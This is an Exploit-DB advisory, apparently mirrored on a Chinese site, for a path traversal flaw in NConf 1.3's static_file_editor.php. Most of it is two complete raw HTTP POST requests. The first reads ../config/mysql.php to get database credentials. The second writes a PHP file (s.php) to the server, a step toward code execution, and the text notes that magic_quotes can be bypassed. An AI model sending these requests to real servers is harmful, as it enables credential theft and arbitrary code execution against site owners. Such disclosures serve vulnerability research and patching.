NConf 1.3 – Arbitrary File Creation

• Exploit Database
• 108 阅读

• 作者： haidao
  日期： 2013-01-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24270/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

  # Exploit Title:nconffile read and wrtite exploit # Date: 2013/1/20 # Exploit Author: haidao，54haidao@gmail.com # Software Link: http://sourceforge.net/projects/nconf/files/nconf/ # Version:nconf 1.3 # Tested on: Server: Apache/2.2.15 (Centos)PHP/5.3.3   nconf can modify the config file of nagios and save it to the server,but haven&apos;t check the file&apos;s direction and name,so we canread and write any files in the server under the privileges of apache,   1,read the file or direction , change the directory or filename ,when filename is null , you get a list of the directory,   POST /nconf/static_file_editor.php HTTP/1.1 Host: 192.168.110.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.110.130/nconf/static_file_editor.php Cookie: Cacti=0aj6jgsl3a61grcnmnl74pa9o6; PHPSESSID=2ss1u9lqeukh63i4khplveoh07 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 49 directory=static_cfg&filename=../config/mysql.php       2, write the content into the file . attation: if the magic_quote is on ,, u must attation the &apos; and ",of course we can bypass it .   POST /nconf/static_file_editor.php HTTP/1.1 Host: 192.168.110.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.110.130/nconf/static_file_editor.php Cookie: Cacti=0aj6jgsl3a61grcnmnl74pa9o6; PHPSESSID=2ss1u9lqeukh63i4khplveoh07 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 116 directory=static_cfg&filename=s.php&action=Save&content=<?php phpinfo();?>